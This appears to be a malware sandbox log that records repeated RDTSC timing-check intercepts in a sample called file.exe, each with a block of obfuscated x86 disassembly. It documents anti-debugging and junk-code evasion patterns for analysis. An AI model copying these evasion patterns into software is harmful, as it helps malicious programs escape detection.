Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550136 second address: 55501D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF0F9102519h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 mov dl, A7h 0x00000016 pushfd 0x00000017 jmp 00007FF0F9102518h 0x0000001c or cx, DE88h 0x00000021 jmp 00007FF0F910250Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a pushad 0x0000002b push eax 0x0000002c mov edx, 21CBF964h 0x00000031 pop edx 0x00000032 popad 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov al, 3Ah 0x0000003c pushfd 0x0000003d jmp 00007FF0F9102511h 0x00000042 xor ch, 00000056h 0x00000045 jmp 00007FF0F9102511h 0x0000004a popfd 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55501D1 second address: 555022A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b mov bx, si 0x0000000e call 00007FF0F8740868h 0x00000013 mov ax, 3431h 0x00000017 pop eax 0x00000018 popad 0x00000019 call 00007FF0F8740859h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push ecx 0x00000022 pop ebx 0x00000023 jmp 00007FF0F8740862h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555022A second address: 55502AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF0F9102519h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007FF0F9102511h 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b mov dx, 7312h 0x0000001f pushad 0x00000020 call 00007FF0F9102519h 0x00000025 pop ecx 0x00000026 mov dh, E5h 0x00000028 popad 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FF0F9102516h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55503EC second address: 55503F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55503F0 second address: 55503F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55503F6 second address: 555042A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov edi, eax 0x0000000d mov ch, FAh 0x0000000f popad 0x00000010 push esi 0x00000011 pushad 0x00000012 mov esi, 2A1EA665h 0x00000017 push eax 0x00000018 push edx 0x00000019 call 00007FF0F8740860h 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555042A second address: 5550496 instructions: 0x00000000 rdtsc 0x00000002 movsx edi, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov dword ptr [esp], edi 0x0000000b pushad 0x0000000c movzx eax, dx 0x0000000f call 00007FF0F9102515h 0x00000014 jmp 00007FF0F9102510h 0x00000019 pop esi 0x0000001a popad 0x0000001b mov eax, dword ptr [75AB4538h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 pushfd 0x00000026 jmp 00007FF0F9102518h 0x0000002b sbb esi, 46725068h 0x00000031 jmp 00007FF0F910250Bh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550496 second address: 555049C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555049C second address: 555051A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [ebp-08h], eax 0x0000000b jmp 00007FF0F9102517h 0x00000010 xor eax, ebp 0x00000012 jmp 00007FF0F910250Fh 0x00000017 nop 0x00000018 jmp 00007FF0F9102516h 0x0000001d push eax 0x0000001e pushad 0x0000001f push edx 0x00000020 jmp 00007FF0F910250Ch 0x00000025 pop esi 0x00000026 mov edi, 487B4D46h 0x0000002b popad 0x0000002c nop 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 call 00007FF0F9102519h 0x00000035 pop esi 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555051A second address: 55505D2 instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ch, bh 0x00000009 popad 0x0000000a lea eax, dword ptr [ebp-10h] 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov bx, si 0x00000014 popad 0x00000015 pushfd 0x00000016 jmp 00007FF0F874085Ah 0x0000001b sbb esi, 32D44C48h 0x00000021 jmp 00007FF0F874085Bh 0x00000026 popfd 0x00000027 popad 0x00000028 mov dword ptr fs:[00000000h], eax 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FF0F8740864h 0x00000035 and cx, 8EA8h 0x0000003a jmp 00007FF0F874085Bh 0x0000003f popfd 0x00000040 mov edi, eax 0x00000042 popad 0x00000043 mov dword ptr [ebp-18h], esp 0x00000046 pushad 0x00000047 mov ecx, 29B0C597h 0x0000004c pushfd 0x0000004d jmp 00007FF0F874085Ch 0x00000052 jmp 00007FF0F8740865h 0x00000057 popfd 0x00000058 popad 0x00000059 mov eax, dword ptr fs:[00000018h] 0x0000005f jmp 00007FF0F874085Eh 0x00000064 mov ecx, dword ptr [eax+00000FDCh] 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FF0F874085Ah 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55505D2 second address: 55505E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55505E1 second address: 555060F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF0F874085Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555060F second address: 5550614 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540030 second address: 554004C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740868h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554004C second address: 554005E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0F910250Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554005E second address: 5540062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540062 second address: 5540071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540071 second address: 5540075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540075 second address: 554008D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102514h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554008D second address: 55400B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF0F8740865h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55400B5 second address: 554013C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx ebx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 2Ch 0x0000000e pushad 0x0000000f jmp 00007FF0F9102512h 0x00000014 mov ch, E5h 0x00000016 popad 0x00000017 push ebx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FF0F9102518h 0x0000001f sbb esi, 6CF2C3F8h 0x00000025 jmp 00007FF0F910250Bh 0x0000002a popfd 0x0000002b mov cx, 552Fh 0x0000002f popad 0x00000030 mov dword ptr [esp], ebx 0x00000033 jmp 00007FF0F9102512h 0x00000038 xchg eax, edi 0x00000039 jmp 00007FF0F9102510h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 push eax 0x00000043 pop ebx 0x00000044 mov si, E1FFh 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540174 second address: 5540184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0F874085Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540184 second address: 55401AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F910250Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF0F9102511h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55401AC second address: 55401B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55401B0 second address: 55401B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55401B6 second address: 5540237 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0F874085Ah 0x00000009 sub ax, F708h 0x0000000e jmp 00007FF0F874085Bh 0x00000013 popfd 0x00000014 call 00007FF0F8740868h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov edi, 00000000h 0x00000022 jmp 00007FF0F874085Eh 0x00000027 inc ebx 0x00000028 pushad 0x00000029 mov ax, F72Dh 0x0000002d push eax 0x0000002e push edx 0x0000002f pushfd 0x00000030 jmp 00007FF0F8740868h 0x00000035 add esi, 7A3CD6F8h 0x0000003b jmp 00007FF0F874085Bh 0x00000040 popfd 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540349 second address: 5540377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF0F910250Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540377 second address: 55403D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 pushfd 0x00000007 jmp 00007FF0F8740863h 0x0000000c sbb cl, 0000001Eh 0x0000000f jmp 00007FF0F8740869h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jg 00007FF168C5E931h 0x0000001e jmp 00007FF0F874085Eh 0x00000023 js 00007FF0F87408C1h 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c mov cx, D873h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403D2 second address: 5540402 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007FF0F9102515h 0x0000000c popad 0x0000000d cmp dword ptr [ebp-14h], edi 0x00000010 pushad 0x00000011 mov bh, cl 0x00000013 popad 0x00000014 jne 00007FF1696205ABh 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540402 second address: 5540419 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740863h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540419 second address: 554047C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F9102519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007FF0F910250Eh 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 jmp 00007FF0F9102510h 0x00000019 xchg eax, esi 0x0000001a jmp 00007FF0F9102510h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF0F910250Eh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554047C second address: 55404AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FF0F8740866h 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov si, di 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55404AC second address: 5540510 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ah 0x00000005 mov si, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF0F9102516h 0x00000013 or al, FFFFFFE8h 0x00000016 jmp 00007FF0F910250Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FF0F9102518h 0x00000022 sub cx, BB48h 0x00000027 jmp 00007FF0F910250Bh 0x0000002c popfd 0x0000002d popad 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540510 second address: 554051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 75E99224h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554051A second address: 5540521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540521 second address: 5540574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 jmp 00007FF0F8740860h 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007FF0F8740867h 0x00000017 sub si, DB9Eh 0x0000001c jmp 00007FF0F8740869h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540574 second address: 5540578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554062D second address: 5540633 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540633 second address: 5540637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540637 second address: 5530763 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F8740863h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d pushad 0x0000000e mov dl, al 0x00000010 mov bh, D5h 0x00000012 popad 0x00000013 je 00007FF168C5E853h 0x00000019 xor eax, eax 0x0000001b jmp 00007FF0F8719F8Ah 0x00000020 pop esi 0x00000021 pop edi 0x00000022 pop ebx 0x00000023 leave 0x00000024 retn 0004h 0x00000027 nop 0x00000028 sub esp, 04h 0x0000002b mov esi, eax 0x0000002d cmp esi, 00000000h 0x00000030 setne al 0x00000033 xor ebx, ebx 0x00000035 test al, 01h 0x00000037 jne 00007FF0F8740857h 0x00000039 jmp 00007FF0F874099Bh 0x0000003e call 00007FF0FCEE9D2Ch 0x00000043 mov edi, edi 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007FF0F874085Eh 0x0000004c or ax, 9DF8h 0x00000051 jmp 00007FF0F874085Bh 0x00000056 popfd 0x00000057 mov ecx, 1027B72Fh 0x0000005c popad 0x0000005d xchg eax, ebp 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530763 second address: 5530769 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530769 second address: 553076F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553076F second address: 5530773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530773 second address: 5530777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530777 second address: 55307BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF0F9102517h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov bh, E3h 0x00000014 pushfd 0x00000015 jmp 00007FF0F910250Ch 0x0000001a adc eax, 627889E8h 0x00000020 jmp 00007FF0F910250Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307BD second address: 55307C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307C3 second address: 55307C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307C7 second address: 55307CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540AA1 second address: 5540AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540AA5 second address: 5540AAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540AAB second address: 5540AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540AB1 second address: 5540AC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540AC0 second address: 5540AC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540AC4 second address: 5540ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540ACA second address: 5540B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ebx, 0F9F7870h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov eax, edx 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 jmp 00007FF0F9102513h 0x00000019 cmp dword ptr [75AB459Ch], 05h 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF0F9102510h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540B0C second address: 5540B1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540B1B second address: 5540B22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540B22 second address: 5540B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FF168C4E72Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540B35 second address: 5540B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540B39 second address: 5540B3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540B3F second address: 5540B51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0F910250Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540B8A second address: 5540BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0F8740864h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540BA2 second address: 5540BA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540BA6 second address: 5540C2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FF0F8740859h 0x0000000d pushad 0x0000000e mov dx, C580h 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FF0F8740865h 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d jmp 00007FF0F8740861h 0x00000022 mov eax, dword ptr [eax] 0x00000024 jmp 00007FF0F8740861h 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d jmp 00007FF0F8740861h 0x00000032 pop eax 0x00000033 jmp 00007FF0F874085Eh 0x00000038 call 00007FF168C557A9h 0x0000003d push 75A52B70h 0x00000042 push dword ptr fs:[00000000h] 0x00000049 mov eax, dword ptr [esp+10h] 0x0000004d mov dword ptr [esp+10h], ebp 0x00000051 lea ebp, dword ptr [esp+10h] 0x00000055 sub esp, eax 0x00000057 push ebx 0x00000058 push esi 0x00000059 push edi 0x0000005a mov eax, dword ptr [75AB4538h] 0x0000005f xor dword ptr [ebp-04h], eax 0x00000062 xor eax, ebp 0x00000064 push eax 0x00000065 mov dword ptr [ebp-18h], esp 0x00000068 push dword ptr [ebp-08h] 0x0000006b mov eax, dword ptr [ebp-04h] 0x0000006e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000075 mov dword ptr [ebp-08h], eax 0x00000078 lea eax, dword ptr [ebp-10h] 0x0000007b mov dword ptr fs:[00000000h], eax 0x00000081 ret 0x00000082 push eax 0x00000083 push edx 0x00000084 push eax 0x00000085 push edx 0x00000086 pushad 0x00000087 popad 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540C2A second address: 5540C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540C2E second address: 5540C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540CA0 second address: 5540CE1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF0F9102514h 0x00000008 jmp 00007FF0F9102515h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 je 00007FF1696061BBh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov edx, 79D46A4Eh 0x0000001f mov ecx, edi 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540CE1 second address: 5540CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550A19 second address: 5550A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550A1D second address: 5550A30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0F874085Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
